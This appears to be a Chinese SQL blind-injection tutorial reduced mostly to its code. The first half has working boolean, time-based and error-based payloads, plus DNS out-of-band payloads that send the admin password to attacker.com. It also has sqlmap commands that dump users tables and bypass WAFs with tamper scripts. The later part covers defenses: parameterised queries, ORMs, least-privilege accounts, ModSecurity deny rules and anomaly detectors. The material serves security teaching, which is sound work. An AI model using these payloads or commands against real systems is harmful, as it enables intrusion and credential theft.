010_Web安全攻防实战：SQL盲注深度技术详解、工具应用与全面防御策略

' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --

' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a', SLEEP(5), 0) --

' OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --

' AND (SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM users WHERE username='admin'),'.attacker.com\a.txt'))) --

?id=1' AND '1'='1    # 正常响应
?id=1' AND '1'='2    # 错误或不同响应

?id=1' AND VERSION() LIKE '%MariaDB%' --  # 测试MySQL/MariaDB
?id=1' AND @@VERSION LIKE '%SQL Server%' --  # 测试MSSQL
?id=1' AND banner LIKE '%Oracle%' FROM v$version --  # 测试Oracle

?id=1' AND LENGTH((SELECT DATABASE())) > 5 --  # 判断数据库名长度

?id=1' AND SUBSTRING((SELECT DATABASE()), 1, 1) = 'a' --  # 提取第一个字符

# 例如查找ASCII值，可以先判断是否大于128，再逐步缩小范围
?id=1' AND ASCII(SUBSTRING(password, 1, 1)) > 128 --

?id=1' AND SUBSTRING(password, 1, 4) = 'admi' --

# MySQL中的LIKE操作符
?id=1' AND password LIKE 'a%' --

http://example.com/product.php?id=100
http://example.com/product.php?id=100' AND '1'='1  # 页面正常显示
http://example.com/product.php?id=100' AND '1'='2  # 页面显示错误

http://example.com/product.php?id=100' AND LENGTH(database())=8 --  # 返回正常
http://example.com/product.php?id=100' AND LEFT(database(),3)='ecom' --  # 返回正常，数据库名为ecommerce

http://example.com/product.php?id=100' AND (SELECT COUNT(*) FROM users)=1 --  # 存在users表

?id=1' AND IF(条件, SLEEP(5), 0) --

?id=1'; IF (条件) WAITFOR DELAY '0:0:5' --

?id=1' AND CASE WHEN 条件 THEN pg_sleep(5) ELSE pg_sleep(0) END --

# 例如根据ASCII值范围设置不同延迟
?id=1' AND IF(ASCII(SUBSTRING(password,1,1))>120, SLEEP(5), IF(ASCII(SUBSTRING(password,1,1))>100, SLEEP(3), SLEEP(1))) --

?id=1' AND IF(SUBSTRING(password,1,2)='ad', SLEEP(5), 0) --

# 客户端实现精确计时，多次请求后分析响应时间模式

http://finance.example.com/search?q=stocks
http://finance.example.com/search?q=stocks' AND SLEEP(5) --  # 请求明显延迟5秒

http://finance.example.com/search?q=stocks' AND IF(VERSION() LIKE '%MariaDB%', SLEEP(5), 0) --  # 确认数据库类型

http://finance.example.com/search?q=stocks' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_name='accounts')>0, SLEEP(5), 0) --  # 存在accounts表

?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(用户名, 0x3a, 密码, 0x3a, FLOOR(RAND(0)*2)) AS x FROM users GROUP BY x) a) --

?id=1'; EXEC('SELECT * FROM sysobjects WHERE id='+CAST((SELECT username FROM users WHERE user_id=1) AS int)) --

?id=1' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT username FROM users WHERE ROWNUM=1)) --

?id=1' AND (SELECT CONCAT(version(),0x3a,database(),0x3a,user())) FROM dual WHERE 1=2 --

# 从类型转换错误切换到语法错误
?id=1' AND (SELECT @:=1/0) --

?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x61646D696E, 0x3a, (SELECT password FROM users LIMIT 1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a) --

http://cms.example.com/article.php?id=15
http://cms.example.com/article.php?id=15'  # 显示SQL语法错误

http://cms.example.com/article.php?id=15' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(VERSION(), 0x3a, DATABASE(), 0x3a, USER(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a) --

http://cms.example.com/article.php?id=15' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(username, 0x3a, password, 0x3a, FLOOR(RAND(0)*2)) AS x FROM users GROUP BY x) a) --

?id=1' AND LOAD_FILE(CONCAT('\\', (SELECT password FROM users WHERE username='admin'), '.attacker.com\test')) --

?id=1'; DECLARE @p varchar(1024); SELECT @p=(SELECT password FROM sysusers WHERE name='sa'); EXEC('master.dbo.xp_dirtree "\\' + @p + '.attacker.com\test"') --

?id=1' AND UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE username='SYS')||'.attacker.com') IS NOT NULL --

# 对数据进行十六进制编码
?id=1' AND LOAD_FILE(CONCAT('\\', HEX((SELECT password FROM users LIMIT 1)), '.attacker.com\test')) --

# 分批获取密码
?id=1' AND LOAD_FILE(CONCAT('\\', HEX(SUBSTRING((SELECT password FROM users LIMIT 1), 1, 10)), '.part1.attacker.com\test')) --

# 混合正常查询和数据查询
?id=1' AND LOAD_FILE(CONCAT('\\', HEX((SELECT password)), '.cdn.images.attacker.com\test')) --

http://intranet.company.com/employee.php?id=100' AND UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.attacker.com') IS NOT NULL --

SCOTT.attacker.com

http://intranet.company.com/employee.php?id=100' AND UTL_INADDR.GET_HOST_ADDRESS((SELECT table_name FROM all_tables WHERE ROWNUM=1)||'.attacker.com') IS NOT NULL --

# 对URL参数进行测试
sqlmap -u "http://example.com/vulnerable.php?id=1" -p id

# 从请求文件中测试
sqlmap -r request.txt

# 测试多个参数
sqlmap -u "http://example.com/search.php?param1=test&param2=value" --batch

# 布尔盲注
sqlmap -u "http://example.com/vulnerable.php?id=1" --technique B

# 时间盲注
sqlmap -u "http://example.com/vulnerable.php?id=1" --technique T

# 多种盲注技术混合
sqlmap -u "http://example.com/vulnerable.php?id=1" --technique BST

# 设置批处理模式，自动选择默认选项
sqlmap -u "http://example.com/vulnerable.php?id=1" --batch

# 设置延迟，避免请求过于频繁被拦截
sqlmap -u "http://example.com/vulnerable.php?id=1" --delay 2

# 设置并发请求数
sqlmap -u "http://example.com/vulnerable.php?id=1" --threads 5

# 设置超时时间
sqlmap -u "http://example.com/vulnerable.php?id=1" --timeout 10

# 使用随机用户代理
sqlmap -u "http://example.com/vulnerable.php?id=1" --random-agent

# 设置HTTP头
sqlmap -u "http://example.com/vulnerable.php?id=1" --headers "X-Forwarded-For: 127.0.0.1"

# 使用Tamper脚本
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=space2comment,apostrophemask

# 使用自定义注入前缀和后缀
sqlmap -u "http://example.com/vulnerable.php?id=1" --prefix "')(" --suffix ")("

# 使用DNS外带技术
sqlmap -u "http://example.com/vulnerable.php?id=1" --technique D --dns-domain attacker.com

# 初步检测是否存在SQL注入漏洞
sqlmap -u "http://shop.example.com/search.php?q=laptop" --batch

# 确认存在布尔盲注漏洞后，尝试获取数据库名
sqlmap -u "http://shop.example.com/search.php?q=laptop" --technique B --dbs --batch

# 获取指定数据库的表名
sqlmap -u "http://shop.example.com/search.php?q=laptop" -D shopdb --tables --batch

# 检查是否存在用户表
sqlmap -u "http://shop.example.com/search.php?q=laptop" -D shopdb -T users --columns --batch

# 提取用户表中的用户名和密码列
sqlmap -u "http://shop.example.com/search.php?q=laptop" -D shopdb -T users -C "username,password" --dump --batch

# 对于大型数据库，使用分段提取以避免超时
sqlmap -u "http://shop.example.com/search.php?q=laptop" -D shopdb -T orders --dump --start=1 --stop=100 --batch

# 发现WAF拦截后，使用tamper脚本绕过
sqlmap -u "http://shop.example.com/search.php?q=laptop" --tamper=space2comment,apostrophemask,charencode --batch

# 添加自定义HTTP头，模拟不同来源
sqlmap -u "http://shop.example.com/search.php?q=laptop" --headers="X-Forwarded-For: 192.168.1.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" --batch

# 启动交互式界面
python bbqsql.py

# 设置目标URL和参数
set url http://example.com/vulnerable.php
set parameter id
set method GET

# 设置布尔盲注参数
set technique boolean
set true_string "正常响应特征"
set false_string "错误响应特征"

# 开始测试
exploit

# 配置文件示例 (bbqsql.conf)
[Target]
url = http://example.com/vulnerable.php
method = GET

[Parameter]
name = id
injection_type = boolean

[Boolean]
true_string = "产品详情"
false_string = "未找到产品"

[Request]
headers = User-Agent: Mozilla/5.0 (Windows NT 10.0)

# 启动NoSQLMap
python nosqlmap.py

# 选择MongoDB盲注测试选项
1. MongoDB盲注测试

# 设置目标URL和参数
sethost http://example.com
seturi /search.php
setparam q

test

# 执行盲注攻击
1. 执行MongoDB盲注

# MongoDB盲注payload示例
?q=test' || 1==1 || '1
?q=test' || this.password.match(/^a/) || '1
?q=test' || Object.keys(this).indexOf('admin') >= 0 || '1

-- SLEEP函数：暂停指定秒数
SELECT SLEEP(5);

-- BENCHMARK函数：执行指定次数的表达式
SELECT BENCHMARK(1000000, MD5('test'));

-- SUBSTRING函数：提取子字符串
SELECT SUBSTRING('password', 1, 4);  -- 结果: 'pass'

-- MID函数：与SUBSTRING类似
SELECT MID('password', 1, 4);  -- 结果: 'pass'

-- LEFT/RIGHT函数：从左侧/右侧提取字符
SELECT LEFT('password', 4);  -- 结果: 'pass'

-- ASCII函数：返回字符的ASCII码
SELECT ASCII('a');  -- 结果: 97

-- IF函数：条件判断
SELECT IF(1=1, 'true', 'false');

-- CASE语句：多条件判断
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END;

-- LIKE操作符：模式匹配
SELECT 'admin' LIKE 'a%';  -- 结果: 1 (true)

-- 获取数据库版本
SELECT VERSION();

-- 获取当前数据库名
SELECT DATABASE();

-- 获取用户名
SELECT USER();

-- 获取数据库列表
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;

-- 获取表列表
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'database_name';

-- 获取列列表
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'database_name' AND TABLE_NAME = 'table_name';

-- MySQL 8.0中支持窗口函数进行盲注优化
SELECT ROW_NUMBER() OVER() FROM users WHERE username = 'admin';

-- pg_sleep函数：暂停指定秒数
SELECT pg_sleep(5);

-- pg_sleep_for函数：暂停指定时间间隔
SELECT pg_sleep_for('5 seconds');

-- pg_sleep_until函数：睡眠到指定时间
SELECT pg_sleep_until(current_timestamp + interval '5 seconds');

-- SUBSTRING函数：提取子字符串
SELECT SUBSTRING('password' FROM 1 FOR 4);  -- 结果: 'pass'

-- LEFT/RIGHT函数：从左侧/右侧提取字符
SELECT LEFT('password', 4);  -- 结果: 'pass'

-- ASCII函数：返回字符的ASCII码
SELECT ASCII('a');  -- 结果: 97

-- CHR函数：返回指定ASCII码的字符
SELECT CHR(97);  -- 结果: 'a'

-- CASE语句：多条件判断
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END;

-- COALESCE函数：返回第一个非空值
SELECT COALESCE(NULL, 'default');  -- 结果: 'default'

-- LIKE操作符：模式匹配
SELECT 'admin' LIKE 'a%';  -- 结果: true

-- SIMILAR TO操作符：正则表达式匹配
SELECT 'admin' SIMILAR TO 'a[a-z]+';  -- 结果: true

-- 获取数据库版本
SELECT version();

-- 获取当前数据库名
SELECT current_database();

-- 获取用户名
SELECT current_user;

-- 获取数据库列表
SELECT datname FROM pg_database WHERE datistemplate = false;

-- 获取表列表
SELECT tablename FROM pg_tables WHERE schemaname NOT IN ('pg_catalog', 'information_schema');

-- 获取列列表
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';

-- 使用数组操作符进行盲注
SELECT 1=ANY(ARRAY[1,2,3]);  -- 结果: true

-- 使用JSON函数进行数据提取
SELECT ('{"user":"admin","pass":"secret"}'::jsonb)->>'pass';  -- 结果: 'secret'

-- 使用WITH子句优化盲注
WITH blind_data AS (SELECT password FROM users WHERE username='admin') SELECT * FROM blind_data;

-- WAITFOR DELAY语句：暂停指定时间
WAITFOR DELAY '00:00:05';

-- WAITFOR TIME语句：等待到指定时间
WAITFOR TIME '12:30:00';

-- SUBSTRING函数：提取子字符串
SELECT SUBSTRING('password', 1, 4);  -- 结果: 'pass'

-- LEFT/RIGHT函数：从左侧/右侧提取字符
SELECT LEFT('password', 4);  -- 结果: 'pass'

-- ASCII函数：返回字符的ASCII码
SELECT ASCII('a');  -- 结果: 97

-- CHAR函数：返回指定ASCII码的字符
SELECT CHAR(97);  -- 结果: 'a'

-- CASE语句：多条件判断
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END;

-- IIF函数：条件判断（SQL Server 2012+）
SELECT IIF(1=1, 'true', 'false');

-- LIKE操作符：模式匹配
SELECT 'admin' LIKE 'a%';  -- 结果: 1

-- PATINDEX函数：查找模式在字符串中的位置
SELECT PATINDEX('%admin%', 'user_admin_test');  -- 结果: 6

-- 获取数据库版本
SELECT @@VERSION;

-- 获取当前数据库名
SELECT DB_NAME();

-- 获取用户名
SELECT USER_NAME();

-- 获取数据库列表
SELECT name FROM sys.databases;

-- 获取表列表
SELECT name FROM sys.tables;

-- 获取列列表
SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('users');

-- 使用系统存储过程进行盲注
EXEC sp_executesql N'SELECT 1 WHERE 1=1';

-- 使用动态SQL进行盲注
DECLARE @sql NVARCHAR(MAX);
SET @sql = 'SELECT ' + CASE WHEN 1=1 THEN '1' ELSE '0' END;
EXEC(@sql);

-- 使用批处理分隔符进行多条语句执行
SELECT 1; SELECT 2; SELECT 3;

-- DBMS_LOCK.SLEEP过程：暂停指定秒数
EXEC DBMS_LOCK.SLEEP(5);

-- 或在SQL查询中使用
SELECT DBMS_LOCK.SLEEP(5) FROM DUAL;

-- SUBSTR函数：提取子字符串
SELECT SUBSTR('password', 1, 4) FROM DUAL;  -- 结果: 'pass'

-- INSTR函数：查找子字符串位置
SELECT INSTR('user_admin', 'admin') FROM DUAL;  -- 结果: 6

-- ASCII函数：返回字符的ASCII码
SELECT ASCII('a') FROM DUAL;  -- 结果: 97

-- CHR函数：返回指定ASCII码的字符
SELECT CHR(97) FROM DUAL;  -- 结果: 'a'

-- CASE语句：多条件判断
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM DUAL;

-- DECODE函数：条件判断
SELECT DECODE(1, 1, 'true', 'false') FROM DUAL;

-- LIKE操作符：模式匹配
SELECT 'admin' LIKE 'a%' FROM DUAL;  -- 结果: '1'

-- REGEXP_LIKE函数：正则表达式匹配
SELECT CASE WHEN REGEXP_LIKE('admin', '^a.*') THEN 'true' ELSE 'false' END FROM DUAL;

-- 获取数据库版本
SELECT * FROM V$VERSION;

-- 获取当前用户名
SELECT USER FROM DUAL;

-- 获取数据库名
SELECT NAME FROM V$DATABASE;

-- 获取表列表
SELECT TABLE_NAME FROM ALL_TABLES;

-- 获取列列表
SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS WHERE TABLE_NAME = 'USERS';

-- 使用DUAL表进行盲注
SELECT 1 FROM DUAL WHERE 1=1;

-- 使用CONNECT BY进行递归查询
SELECT 1 FROM DUAL CONNECT BY LEVEL <= 10;

-- 使用XML函数进行数据处理
SELECT EXTRACTVALUE(XMLTYPE('<root><user>admin</user></root>'), '/root/user') FROM DUAL;

// PHP示例：验证ID是否为整数
if (isset($_GET['id']) && ctype_digit($_GET['id'])) {
    $id = $_GET['id'];
} else {
    // 处理非法输入
    die('Invalid ID format');
}

// Java示例：限制输入长度
String username = request.getParameter("username");
if (username != null && username.length() <= 50) {
    // 处理合法输入
} else {
    // 处理过长输入
}

# Python示例：使用正则表达式验证邮箱格式
import re
email = request.args.get('email')
if re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
    # 处理合法邮箱
else:
    # 处理非法邮箱

// PHP示例：使用mysqli_real_escape_string转义特殊字符
$username = mysqli_real_escape_string($connection, $_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";

// JavaScript示例：只允许字母数字和特定字符
function sanitizeInput(input) {
    return input.replace(/[^a-zA-Z0-9_\-]/g, '');
}

// C#示例：使用HtmlEncode处理输出
string safeOutput = HttpUtility.HtmlEncode(userInput);
Response.Write(safeOutput);

// 使用PDO预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$result = $stmt->fetchAll();

// 使用PreparedStatement
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

# 使用参数化查询
cursor = conn.cursor()
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))
results = cursor.fetchall()

// 正确处理LIKE查询
String sql = "SELECT * FROM users WHERE username LIKE ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, "%" + username + "%");  // 在参数绑定中添加通配符

# 处理IN子句
ids = [1, 2, 3, 4]
placeholders = ', '.join(['%s'] * len(ids))
query = f"SELECT * FROM users WHERE id IN ({placeholders})"
cursor.execute(query, ids)

// 使用Hibernate的Criteria API
Criteria criteria = session.createCriteria(User.class);
criteria.add(Restrictions.eq("username", username));
criteria.add(Restrictions.eq("password", password));
List<User> users = criteria.list();

# 使用Django ORM
from django.contrib.auth.models import User
users = User.objects.filter(username=username, password=password)

// 使用Entity Framework
var users = dbContext.Users.Where(u => u.Username == username && u.Password == password).ToList();

// 使用Laravel Eloquent
$users = User::where('username', $username)->where('password', $password)->get();

# Django原生SQL参数化查询
from django.db import connection
with connection.cursor() as cursor:
    cursor.execute("SELECT * FROM users WHERE username = %s", [username])

-- 创建应用专用账号
CREATE USER 'app_user'@'%' IDENTIFIED BY 'strong_password';

-- 只授予必要的权限
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'%';

-- 拒绝危险权限
REVOKE ALTER, DROP, CREATE FROM 'app_user'@'%';

-- 创建应用专用角色
CREATE ROLE app_user WITH LOGIN PASSWORD 'strong_password';

-- 只授予必要的权限
GRANT SELECT, INSERT, UPDATE ON ALL TABLES IN SCHEMA public TO app_user;

-- 限制未来创建的表也使用相同权限
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT, INSERT, UPDATE ON TABLES TO app_user;

-- 创建应用专用账号
CREATE LOGIN app_user WITH PASSWORD = 'strong_password';
CREATE USER app_user FOR LOGIN app_user;

-- 添加到特定角色
EXEC sp_addrolemember 'db_datareader', 'app_user';
EXEC sp_addrolemember 'db_datawriter', 'app_user';

# 拦截常见SQL注入模式
SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|REQUEST_HEADERS|REQUEST_HEADERS_NAMES|REQUEST_BODY|ARGS|ARGS_NAMES "(?i:(?:[\\s'\"`\\(\\)]*?(?:select|union|insert|update|delete|drop|alter|create|exec|execute|xp_)))" "id:1000,phase:2,deny,status:403,log,msg:'SQL Injection Attack Detected'"

# 拦截危险字符组合
SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|REQUEST_HEADERS|REQUEST_HEADERS_NAMES|REQUEST_BODY|ARGS|ARGS_NAMES "(?i:[\\s'\"`\\(\\)]*?(?:and|or|not|between|in|like|regexp|rlike)[\\s'\"`\\(\\)]*?[\\w\\s'\"`\\(\\)\[\]\\-]+?[\\s'\"`\\(\\)]*?[=<>])" "id:1001,phase:2,deny,status:403,log,msg:'SQL Injection - Logical Operator Detected'"

# AI辅助SQL注入简化示例
import tensorflow as tf
import numpy as np
from sklearn.preprocessing import LabelEncoder

# 训练模型识别易受攻击的输入点
def train_injection_detector(training_data, labels):
    # 数据预处理
    encoder = LabelEncoder()
    encoded_data = encoder.fit_transform(training_data)
    
    # 创建神经网络模型
    model = tf.keras.Sequential([
        tf.keras.layers.Embedding(input_dim=len(encoder.classes_), output_dim=64),
        tf.keras.layers.GlobalAveragePooling1D(),
        tf.keras.layers.Dense(64, activation='relu'),
        tf.keras.layers.Dense(1, activation='sigmoid')
    ])
    
    model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])
    model.fit(encoded_data, labels, epochs=10, validation_split=0.2)
    
    return model, encoder

# AI异常检测简化示例
from sklearn.ensemble import IsolationForest
import pandas as pd

# 训练隔离森林模型检测异常SQL查询
def train_anomaly_detector(sql_queries):
    # 特征提取（简化版）
    features = pd.DataFrame({
        'query_length': [len(q) for q in sql_queries],
        'special_chars': [sum(1 for c in q if c in "'\"`;--#/*") for q in sql_queries],
        'keywords_count': [sum(1 for k in ['select', 'union', 'insert', 'update', 'delete'] 
                              if k in q.lower()) for q in sql_queries]
    })
    
    # 训练隔离森林模型
    model = IsolationForest(contamination=0.1)
    model.fit(features)
    
    return model, features.columns